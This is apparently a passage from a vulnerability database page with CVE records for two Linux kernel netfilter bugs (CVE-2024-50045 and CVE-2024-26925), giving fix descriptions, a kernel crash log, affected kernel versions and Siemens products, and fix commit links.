PREEMPT SMP [ 176.295252] Modules linked in: vxlan ip6_udp_tunnel udp_tunnel veth br_netfilter bridge stp llc ipv6 crct10dif_ce [ 176.295923] CPU: 0 PID: 188 Comm: ping Not tainted 6.8.0-rc3-g5b3fbd61b9d1 #2 [ 176.296314] Hardware name: linux,dummy-virt (DT) [ 176.296535] pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) [ 176.296808] pc : br_nf_dev_queue_xmit+0x390/0x4ec [br_netfilter] [ 176.297382] lr : br_nf_dev_queue_xmit+0x2ac/0x4ec [br_netfilter] [ 176.297636] sp : ffff800080003630 [ 176.297743] x29: ffff800080003630 x28: 0000000000000008 x27: ffff6828c49ad9f8 [ 176.298093] x26: ffff6828c49ad000 x25: 0000000000000000 x24: 00000000000003e8 [ 176.298430] x23: 0000000000000000 x22: ffff6828c4960b40 x21: ffff6828c3b16d28 [ 176.298652] x20: ffff6828c3167048 x19: ffff6828c3b16d00 x18: 0000000000000014 [ 176.298926] x17: ffffb0476322f000 x16: ffffb7e164023730 x15: 0000000095744632 [ 176.299296] x14: ffff6828c3f1c880 x13: 0000000000000002 x12: ffffb7e137926a70 [ 176.299574] x11: 0000000000000001 x10: ffff6828c3f1c898 x9 : 0000000000000000 [ 176.300049] x8 : ffff6828c49bf070 x7 : 0008460f18d5f20e x6 : f20e0100bebafeca [ 176.300302] x5 : ffff6828c7f918fe x4 : ffff6828c49bf070 x3 : 0000000000000000 [ 176.300586] x2 : 0000000000000000 x1 : ffff6828c3c7ad00 x0 : ffff6828c7f918f0 [ 176.300889] Call trace: [ 176.301123] br_nf_dev_queue_xmit+0x390/0x4ec [br_netfilter] [ 176.301411] br_nf_post_routing+0x2a8/0x3e4 [br_netfilter] [ 176.301703] nf_hook_slow+0x48/0x124 [ 176.302060] br_forward_finish+0xc8/0xe8 [bridge] [ 176.302371] br_nf_hook_thresh+0x124/0x134 [br_netfilter] [ 176.302605] br_nf_forward_finish+0x118/0x22c [br_netfilter] [ 176.302824] br_nf_forward_ip.part.0+0x264/0x290 [br_netfilter] [ 176.303136] br_nf_forward+0x2b8/0x4e0 [br_netfilter] [ 176.303359] nf_hook_slow+0x48/0x124 [ 176.303 ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/f07131239a76cc10d…
https://git.kernel.org/stable/c/75dfcb758015c97e1…
https://git.kernel.org/stable/c/cce8419b8168f6e7e…
https://git.kernel.org/stable/c/95c0cff5a1a5d28bf…
https://git.kernel.org/stable/c/78ed917133b118661…
https://git.kernel.org/stable/c/3453f5839420bfbb8…
https://git.kernel.org/stable/c/915717e0bb9837cc5…
https://git.kernel.org/stable/c/f9ff7665cd1280128…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 11538d039ac6efcf4f1a6c536e1b87cd3668a9fd , < f07131239a76cc10d5e82c19d91f53cb55727297 (git) Affected: 11538d039ac6efcf4f1a6c536e1b87cd3668a9fd , < 75dfcb758015c97e1accd6340691fca67d363bed (git) Affected: 11538d039ac6efcf4f1a6c536e1b87cd3668a9fd , < cce8419b8168f6e7eb637103a47f916f3de8bc81 (git) Affected: 11538d039ac6efcf4f1a6c536e1b87cd3668a9fd , < 95c0cff5a1a5d28bf623b92eb5d1a8f56ed30803 (git) Affected: 11538d039ac6efcf4f1a6c536e1b87cd3668a9fd , < 78ed917133b118661e1fe62d4a85d5d428ee9568 (git) Affected: 11538d039ac6efcf4f1a6c536e1b87cd3668a9fd , < 3453f5839420bfbb85c86c61e49f49ffd0f041c4 (git) Affected: 11538d039ac6efcf4f1a6c536e1b87cd3668a9fd , < 915717e0bb9837cc5c101bc545af487bd787239e (git) Affected: 11538d039ac6efcf4f1a6c536e1b87cd3668a9fd , < f9ff7665cd128012868098bbd07e28993e314fdb (git)
Linux	Linux	Affected: 4.11 Unaffected: 0 , < 4.11 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.57 , ≤ 6.6.* (semver) Unaffected: 6.11.4 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50045",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:24:15.720711Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:28:43.698Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:51.294Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:09.406Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bridge/br_netfilter_hooks.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f07131239a76cc10d5e82c19d91f53cb55727297",
              "status": "affected",
              "version": "11538d039ac6efcf4f1a6c536e1b87cd3668a9fd",
              "versionType": "git"
            },
            {
              "lessThan": "75dfcb758015c97e1accd6340691fca67d363bed",
              "status": "affected",
              "version": "11538d039ac6efcf4f1a6c536e1b87cd3668a9fd",
              "versionType": "git"
            },
            {
              "lessThan": "cce8419b8168f6e7eb637103a47f916f3de8bc81",
              "status": "affected",
              "version": "11538d039ac6efcf4f1a6c536e1b87cd3668a9fd",
              "versionType": "git"
            },
            {
              "lessThan": "95c0cff5a1a5d28bf623b92eb5d1a8f56ed30803",
              "status": "affected",
              "version": "11538d039ac6efcf4f1a6c536e1b87cd3668a9fd",
              "versionType": "git"
            },
            {
              "lessThan": "78ed917133b118661e1fe62d4a85d5d428ee9568",
              "status": "affected",
              "version": "11538d039ac6efcf4f1a6c536e1b87cd3668a9fd",
              "versionType": "git"
            },
            {
              "lessThan": "3453f5839420bfbb85c86c61e49f49ffd0f041c4",
              "status": "affected",
              "version": "11538d039ac6efcf4f1a6c536e1b87cd3668a9fd",
              "versionType": "git"
            },
            {
              "lessThan": "915717e0bb9837cc5c101bc545af487bd787239e",
              "status": "affected",
              "version": "11538d039ac6efcf4f1a6c536e1b87cd3668a9fd",
              "versionType": "git"
            },
            {
              "lessThan": "f9ff7665cd128012868098bbd07e28993e314fdb",
              "status": "affected",
              "version": "11538d039ac6efcf4f1a6c536e1b87cd3668a9fd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bridge/br_netfilter_hooks.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.11"
            },
            {
              "lessThan": "4.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.57",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.57",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.4",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: br_netfilter: fix panic with metadata_dst skb\n\nFix a kernel panic in the br_netfilter module when sending untagged\ntraffic via a VxLAN device.\nThis happens during the check for fragmentation in br_nf_dev_queue_xmit.\n\nIt is dependent on:\n1) the br_netfilter module being loaded;\n2) net.bridge.bridge-nf-call-iptables set to 1;\n3) a bridge with a VxLAN (single-vxlan-device) netdevice as a bridge port;\n4) untagged frames with size higher than the VxLAN MTU forwarded/flooded\n\nWhen forwarding the untagged packet to the VxLAN bridge port, before\nthe netfilter hooks are called, br_handle_egress_vlan_tunnel is called and\nchanges the skb_dst to the tunnel dst. The tunnel_dst is a metadata type\nof dst, i.e., skb_valid_dst(skb) is false, and metadata-\u003edst.dev is NULL.\n\nThen in the br_netfilter hooks, in br_nf_dev_queue_xmit, there\u0027s a check\nfor frames that needs to be fragmented: frames with higher MTU than the\nVxLAN device end up calling br_nf_ip_fragment, which in turns call\nip_skb_dst_mtu.\n\nThe ip_dst_mtu tries to use the skb_dst(skb) as if it was a valid dst\nwith valid dst-\u003edev, thus the crash.\n\nThis case was never supported in the first place, so drop the packet\ninstead.\n\nPING 10.0.0.2 (10.0.0.2) from 0.0.0.0 h1-eth0: 2000(2028) bytes of data.\n[  176.291791] Unable to handle kernel NULL pointer dereference at\nvirtual address 0000000000000110\n[  176.292101] Mem abort info:\n[  176.292184]   ESR = 0x0000000096000004\n[  176.292322]   EC = 0x25: DABT (current EL), IL = 32 bits\n[  176.292530]   SET = 0, FnV = 0\n[  176.292709]   EA = 0, S1PTW = 0\n[  176.292862]   FSC = 0x04: level 0 translation fault\n[  176.293013] Data abort info:\n[  176.293104]   ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000\n[  176.293488]   CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n[  176.293787]   GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n[  176.293995] user pgtable: 4k pages, 48-bit VAs, pgdp=0000000043ef5000\n[  176.294166] [0000000000000110] pgd=0000000000000000,\np4d=0000000000000000\n[  176.294827] Internal error: Oops: 0000000096000004 [#1] PREEMPT SMP\n[  176.295252] Modules linked in: vxlan ip6_udp_tunnel udp_tunnel veth\nbr_netfilter bridge stp llc ipv6 crct10dif_ce\n[  176.295923] CPU: 0 PID: 188 Comm: ping Not tainted\n6.8.0-rc3-g5b3fbd61b9d1 #2\n[  176.296314] Hardware name: linux,dummy-virt (DT)\n[  176.296535] pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS\nBTYPE=--)\n[  176.296808] pc : br_nf_dev_queue_xmit+0x390/0x4ec [br_netfilter]\n[  176.297382] lr : br_nf_dev_queue_xmit+0x2ac/0x4ec [br_netfilter]\n[  176.297636] sp : ffff800080003630\n[  176.297743] x29: ffff800080003630 x28: 0000000000000008 x27:\nffff6828c49ad9f8\n[  176.298093] x26: ffff6828c49ad000 x25: 0000000000000000 x24:\n00000000000003e8\n[  176.298430] x23: 0000000000000000 x22: ffff6828c4960b40 x21:\nffff6828c3b16d28\n[  176.298652] x20: ffff6828c3167048 x19: ffff6828c3b16d00 x18:\n0000000000000014\n[  176.298926] x17: ffffb0476322f000 x16: ffffb7e164023730 x15:\n0000000095744632\n[  176.299296] x14: ffff6828c3f1c880 x13: 0000000000000002 x12:\nffffb7e137926a70\n[  176.299574] x11: 0000000000000001 x10: ffff6828c3f1c898 x9 :\n0000000000000000\n[  176.300049] x8 : ffff6828c49bf070 x7 : 0008460f18d5f20e x6 :\nf20e0100bebafeca\n[  176.300302] x5 : ffff6828c7f918fe x4 : ffff6828c49bf070 x3 :\n0000000000000000\n[  176.300586] x2 : 0000000000000000 x1 : ffff6828c3c7ad00 x0 :\nffff6828c7f918f0\n[  176.300889] Call trace:\n[  176.301123]  br_nf_dev_queue_xmit+0x390/0x4ec [br_netfilter]\n[  176.301411]  br_nf_post_routing+0x2a8/0x3e4 [br_netfilter]\n[  176.301703]  nf_hook_slow+0x48/0x124\n[  176.302060]  br_forward_finish+0xc8/0xe8 [bridge]\n[  176.302371]  br_nf_hook_thresh+0x124/0x134 [br_netfilter]\n[  176.302605]  br_nf_forward_finish+0x118/0x22c [br_netfilter]\n[  176.302824]  br_nf_forward_ip.part.0+0x264/0x290 [br_netfilter]\n[  176.303136]  br_nf_forward+0x2b8/0x4e0 [br_netfilter]\n[  176.303359]  nf_hook_slow+0x48/0x124\n[  176.303\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:44:25.711Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f07131239a76cc10d5e82c19d91f53cb55727297"
        },
        {
          "url": "https://git.kernel.org/stable/c/75dfcb758015c97e1accd6340691fca67d363bed"
        },
        {
          "url": "https://git.kernel.org/stable/c/cce8419b8168f6e7eb637103a47f916f3de8bc81"
        },
        {
          "url": "https://git.kernel.org/stable/c/95c0cff5a1a5d28bf623b92eb5d1a8f56ed30803"
        },
        {
          "url": "https://git.kernel.org/stable/c/78ed917133b118661e1fe62d4a85d5d428ee9568"
        },
        {
          "url": "https://git.kernel.org/stable/c/3453f5839420bfbb85c86c61e49f49ffd0f041c4"
        },
        {
          "url": "https://git.kernel.org/stable/c/915717e0bb9837cc5c101bc545af487bd787239e"
        },
        {
          "url": "https://git.kernel.org/stable/c/f9ff7665cd128012868098bbd07e28993e314fdb"
        }
      ],
      "title": "netfilter: br_netfilter: fix panic with metadata_dst skb",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50045",
    "datePublished": "2024-10-21T19:39:43.117Z",
    "dateReserved": "2024-10-21T12:17:06.071Z",
    "dateUpdated": "2026-05-12T12:00:09.406Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26925 (GCVE-0-2024-26925)

Vulnerability from cvelistv5 – Published: 2024-04-24 21:49 – Updated: 2026-05-12 11:50

Title

netfilter: nf_tables: release mutex after nft_gc_seq_end from abort path

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: release mutex after nft_gc_seq_end from abort path The commit mutex should not be released during the critical section between nft_gc_seq_begin() and nft_gc_seq_end(), otherwise, async GC worker could collect expired objects and get the released commit lock within the same GC sequence. nf_tables_module_autoload() temporarily releases the mutex to load module dependencies, then it goes back to replay the transaction again. Move it at the end of the abort phase after nft_gc_seq_end() is called.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/61ac7284346c32f9a…
https://git.kernel.org/stable/c/2cee2ff7f8cce12a6…
https://git.kernel.org/stable/c/eb769ff4e281f751a…
https://git.kernel.org/stable/c/8d3a58af50e46167b…
https://git.kernel.org/stable/c/8038ee3c3e5b59bcd…
https://git.kernel.org/stable/c/a34ba4bdeec0c3b62…
https://git.kernel.org/stable/c/0d459e2ffb5418417…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4b6346dc1edfb9839d6edee7360ed31a22fa6c95 , < 61ac7284346c32f9a8c8ceac56102f7914060428 (git) Affected: 23292bdfda5f04e704a843b8f97b0eb95ace1ca6 , < 2cee2ff7f8cce12a63a0a23ffe27f08d99541494 (git) Affected: b44a459c6561595ed7c3679599c5279204132b33 , < eb769ff4e281f751adcaf4f4445cbf30817be139 (git) Affected: 5d319f7a81431c6bb32eb4dc7d7975f99e2c8c66 , < 8d3a58af50e46167b6f1db47adadad03c0045dae (git) Affected: 720344340fb9be2765bbaab7b292ece0a4570eae , < 8038ee3c3e5b59bcd78467686db5270c68544e30 (git) Affected: 720344340fb9be2765bbaab7b292ece0a4570eae , < a34ba4bdeec0c3b629160497594908dc820110f1 (git) Affected: 720344340fb9be2765bbaab7b292ece0a4570eae , < 0d459e2ffb541841714839e8228b845458ed3b27 (git) Affected: f85ca36090cbb252bcbc95fc74c2853fc792694f (git) Affected: e07e68823116563bdbc49cef185cda6f463bc534 (git)
Linux	Linux	Affected: 6.5 Unaffected: 0 , < 6.5 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.900Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/61ac7284346c32f9a8c8ceac56102f7914060428"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2cee2ff7f8cce12a63a0a23ffe27f08d99541494"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eb769ff4e281f751adcaf4f4445cbf30817be139"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8d3a58af50e46167b6f1db47adadad03c0045dae"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8038ee3c3e5b59bcd78467686db5270c68544e30"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a34ba4bdeec0c3b629160497594908dc820110f1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0d459e2ffb541841714839e8228b845458ed3b27"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26925",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:46:30.592135Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:12.845Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RM1224 LTE(4G) EU",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RM1224 LTE(4G) NAM",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M804PB",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M812-1 ADSL-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M812-1 ADSL-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M816-1 ADSL-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M816-1 ADSL-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M826-2 SHDSL-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M874-2",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M874-3",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M874-3 3G-Router (CN)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M876-3",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M876-3 (ROK)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M876-4",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M876-4 (EU)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M876-4 (NAM)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM853-1 (A1)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM853-1 (B1)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM853-1 (EU)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM856-1 (A1)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM856-1 (B1)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM856-1 (CN)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM856-1 (EU)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM856-1 (RoW)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE S615 EEC LAN-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
